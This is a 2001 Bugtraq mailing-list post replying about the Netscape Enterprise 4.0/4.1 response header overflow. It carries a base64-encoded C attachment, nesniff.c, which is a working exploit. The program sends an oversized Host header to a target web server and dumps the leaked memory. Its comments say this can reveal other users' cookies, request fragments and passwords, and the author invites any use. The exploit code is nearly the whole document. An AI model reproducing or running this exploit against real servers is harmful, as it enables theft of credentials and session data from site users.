[22132] in bugtraq
Re: NE 4.0, 4.1 Response Header Overflow
daemon@ATHENA.MIT.EDU (Evgeny Lev)
Mon Aug 6 05:35:01 2001
From: "Evgeny Lev" <el@ol.ru>
To: bugtraq@securityfocus.com
Date: Mon, 06 Aug 2001 02:35:42 +0400
Message-ID: <web-331293@ol.ru>
In-Reply-To: <20010804123101.11417.qmail@web13003.mail.yahoo.com>
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="_===331293====ol.ru===_"
--_===331293====ol.ru===_
Content-Type: text/plain; charset="KOI8-R"
Content-Transfer-Encoding: 8bit
Hi.
Though it is a old story, i this will be interesting for
someone. If i was wrong, just ignore it, ok?
I found it on some kids web-site.
--_===331293====ol.ru===_
Content-Type: text/plain
Content-Disposition: attachment; filename="nesniff.c"
Content-Transfer-Encoding: base64
LyogCiAgICBuZXNuaWZmLmMgCiAgICAKICAgIGlkZWEgZnJvbSBhdHN0YWtlJ3MgYWR2aXNv
cnkgIlJlc3BvbnNlIEhlYWRlciBPdmVyZmxvdyIsIHd3dy5hdHN0YWtlLmNvbQogICAgY29k
ZWQgYnkgU2FhcmlvaW5lbiwgMTIgSnVuZSAyMDAxLgoKICAgIENhbiBnaXZlIHlvdSBzb21l
IHVzZWZ1bCBpbmZvIChjb29raWVzLCBwYXJ0cyBvZiByZXF1ZXN0cywgcGFzc3dvcmRzLCBl
dGMuLi4pCgogICAgJC4vbmVzbmlmZiBzb21lX2RpcmVjdG9yeSB3d3cuc2VydmVyLmNvbSAy
MDAwIC12CiAgICAuLi4KICAgIC4uLgogICAgYSBsb3Qgb2YgZ2FyYmFnZQogICAgLi4uCiAg
ICAuLi4KICAgIERvIHdoYXQgeW91IHdoYXQgd2hpdGggdGhpcyBjb2RlLCBpIGRvbid0IGNh
cmUuCiovCiNpbmNsdWRlIDxzdGRpby5oPgojaW5jbHVkZSA8c3RkbGliLmg+CiNpbmNsdWRl
IDxzdHJpbmcuaD4KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4KI2luY2x1ZGUgPG5ldGRiLmg+
CiNpbmNsdWRlIDxzeXMvdGltZS5oPgojaW5jbHVkZSA8c3lzL3R5cGVzLmg+CiNpbmNsdWRl
IDxzeXMvc29ja2V0Lmg+CiNpbmNsdWRlIDxlcnJuby5oPgojaW5jbHVkZSA8c2lnbmFsLmg+
CgojZGVmaW5lIFNJWkUgMjAwMAoKI2RlZmluZSBlcnIobSkgeyAgICAgICAgXAppZiAoZXJy
bm8pIHBlcnJvcihtKTsgICBcCmVsc2UgcHJpbnRmKCIlc1xuIiwgbSk7IFwKZXhpdCgtMSk7
ICAgICAgICAgICAgICAgXAp9Cgp1bnNpZ25lZCBsb25nIGxvb2t1cF9ob3N0KGNoYXIgKik7
CnZvaWQgdXNhZ2Uodm9pZCk7CgppbnQgCm1haW4oaW50IGFyZ2MsIGNoYXIgKiphcmd2KQp7
CiAgICBjaGFyICpkaXI7CiAgICB1bnNpZ25lZCBjaGFyIHRtcFsxXTsKICAgIGNoYXIgKmJ1
Zj1OVUxMOwogICAgaW50IHMsIG5ieXRlcywgc2l6ZT1TSVpFLCBvZmZzZXQ9NTAwLCB2ZXJi
b3NlPTA7CiAgICB1bnNpZ25lZCBsb25nIGFkZHI7CiAgICBzdHJ1Y3Qgc29ja2FkZHJfaW4g
c2E7CiAgICAgICAgICAgIAogICAgaWYgKGFyZ2MgPCAzIHx8IGFyZ2MgPiA1KSAKCXVzYWdl
KCk7CiAgICAKICAgIGRpciA9IGFyZ3ZbMV07CiAgICAKICAgIGlmIChhcmdjID4gMykgCglz
aXplID0gYXRvaShhcmd2WzNdKTsKICAgIAogICAgaWYgKGFyZ2MgPiA0ICYmICFzdHJjbXAo
YXJndls0XSwgIi12IikpIAoJdmVyYm9zZSsrOwogICAgCiAgICBhZGRyID0gbG9va3VwX2hv
c3QoYXJndlsyXSk7CiAgICBpZiAoYWRkciA9PSAtMSkgCgllcnIoImNvdWRsbnQgcmVzb2x2
ZSBob3N0bmFtZS4iKTsKICAgIAogICAgbWVtc2V0KCZzYSwgMHgwLCBzaXplb2Yoc3RydWN0
IHNvY2thZGRyX2luKSk7CiAgICBzYS5zaW5fZmFtaWx5ID0gQUZfSU5FVDsKICAgIHNhLnNp
bl9wb3J0ID0gaHRvbnMoODApOwogICAgc2Euc2luX2FkZHIuc19hZGRyID0gYWRkcjsKICAg
IAogICAgYnVmID0gKGNoYXIgKikgbWFsbG9jKHNpemUrb2Zmc2V0KTsKICAgIGlmICghYnVm
KSAKCWVycigiY291bGRudCBhbGxvY2F0ZSBtZW1tb3J5LiIpOwogICAgCiAgICBtZW1zZXQo
YnVmK29mZnNldCwgJyonLCBzaXplKTsKICAgIGJ1ZltvZmZzZXQrc2l6ZS0xXT0nXDAnOwog
ICAgc2l6ZSArPSBvZmZzZXQ7CiAgICAKICAgIHNucHJpbnRmKGJ1Ziwgc2l6ZSwgIkdFVCAv
JXMgSFRUUC8xLjBcblVzZXItQWdlbnQ6IE1vemlsbGEvNC4wIChXaW5kb3dzIDk1KVxuSG9z
dDogJXNcblxuIiwgCgkgICAgIGRpciwgYnVmK29mZnNldCk7CgogICAgcyA9IHNvY2tldChB
Rl9JTkVULCBTT0NLX1NUUkVBTSwgMCk7CiAgICBpZiAocyA8IDApIAoJZXJyKCJzb2NrZXQo
KSIpOwogICAgCiAgICBpZiAoY29ubmVjdChzLCAoc3RydWN0IHNvY2thZGRyICopICZzYSwg
c2l6ZW9mKHN0cnVjdCBzb2NrYWRkcl9pbikpIDwgMCkKCWVycigiY29ubmVjdCgpIik7Cgog
ICAgaWYgKHZlcmJvc2UpIAoJcHJpbnRmKCJTZW5kaW5nIHF1ZXJ5OlxuJXNcbiIsIGJ1Zik7
CgphZ2FpbjogICAgCgogICAgbmJ5dGVzID0gc2VuZChzLCBidWYsIHNpemUsIDApOwogICAg
aWYgKG5ieXRlcyA8PSAwKSB7IAoJaWYgKGVycm5vPT1FSU5UUikgeyB1c2xlZXAoMTAwMDAp
OyAKCQkgICAgICAgICAgICBnb3RvIGFnYWluOyAKCQkJICB9CgllbHNlIGVycigic2VuZCgp
Iik7CiAgICB9CiAgICAKICAgIHdoaWxlIChyZWN2KHMsIHRtcCwgMSwgMCkgPiAwKSB7Cgl1
bnNpZ25lZCBjaGFyIGNoID0gdG1wWzBdOwoJCglpZiAoaXNwcmludChjaCkgfHwgaXNzcGFj
ZShjaCkpIHB1dGNoYXIoY2gpOwoJZWxzZSBwcmludGYoIjB4JTAyeCIsIGNoKTsKICAgIH0K
CiAgICBwdXRjaGFyKCdcbicpOwogICAgZnJlZShidWYpOwogICAgcmV0dXJuIDA7Cn0KCnVu
c2lnbmVkIGxvbmcKbG9va3VwX2hvc3QoY2hhciAqaG9zdCkKeyAgICAgICAgCiAgICB1bnNp
Z25lZCBsb25nIGFkZHI7CiAgICAKICAgIGFkZHIgPSBpbmV0X2FkZHIoaG9zdCk7CiAgICBp
ZiAoYWRkciA9PSAtMSkgewogICAgICAgIHN0cnVjdCBob3N0ZW50ICpoZSA9IGdldGhvc3Ri
eW5hbWUoaG9zdCk7CglpZiAoaGUpIAoJICAgIGFkZHIgPSAqKHVuc2lnbmVkIGxvbmcgKikg
aGUtPmhfYWRkcjsKICAgIH0KICAgIHJldHVybiBhZGRyOwp9Cgp2b2lkCnVzYWdlKCkKewog
ICAgcHJpbnRmKCJ1c2FnZTogLi9uZXNuaWZmIGRpcmVjdG9yeSBob3N0bmFtZSBbc2l6ZV0g
Wy12XS5cbiIpOwogICAgZXhpdCgxKTsKfQ==
--_===331293====ol.ru===_--
